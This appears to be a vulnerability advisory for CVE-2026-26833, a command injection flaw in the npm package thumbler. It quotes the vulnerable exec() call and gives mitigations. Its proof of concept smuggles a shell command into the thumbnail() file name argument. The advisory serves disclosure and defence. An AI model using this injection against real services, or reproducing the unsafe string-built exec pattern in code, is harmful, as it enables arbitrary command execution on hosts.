Share
## https://sploitus.com/exploit?id=AD8F5ED7-72EC-5F59-A83F-0E8FC2391F09
# CVE-2026-26833: OS command injection in thumbler

## Summary

`thumbler` through version `1.1.2` allows OS command injection in
`thumbnail()` in `lib/thumbler.js`. The package concatenates the
`input`, `output`, `time`, and `size` values into a single `ffmpeg`
command string and executes that string with `child_process.exec()`.
An attacker who controls one of those values can inject shell syntax
and run arbitrary commands.

## Affected product

| Product | Affected versions | Fixed version |
| --- | --- | --- |
| thumbler | all versions through 1.1.2 | no fix available as of 2026-03-24 |

## Vulnerability details

- CVE ID: `CVE-2026-26833`
- CWE: `CWE-78` - OS Command Injection
- CVSS 3.1: `9.8` (`Critical`)
- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- Affected component: `lib/thumbler.js`, `thumbnail()`

The vulnerable code path constructs the following shell string:

```js
exec(
  'ffmpeg -ss ' + time + ' -i "' + input + '" -vframes 1 -s ' +
  size + ' "' + output + '"',
  ...
);
```

Because the command is assembled as a string, each attacker-controlled
field is a possible injection point.

## Technical impact

Any service that generates thumbnails from user-controlled media can
end up executing commands on the host while calling `thumbnail()`.

## Proof of concept

```js
require("thumbler").thumbnail(
  'test.mp4"; id > /tmp/pwned; echo "',
  "/tmp/out.jpg",
  {},
  () => {}
);
```

## Mitigation

No fixed npm release is available at the time of writing.

If you still depend on this package:

1. Do not pass untrusted data into `thumbnail()`.
2. Replace shell-string concatenation with argument-safe process
   execution.
3. Move to a maintained thumbnail generation library or a fixed fork.

## References

- https://www.npmjs.com/package/thumbler
- https://github.com/mmahrous/thumbler
- https://github.com/mmahrous/thumbler/blob/master/lib/thumbler.js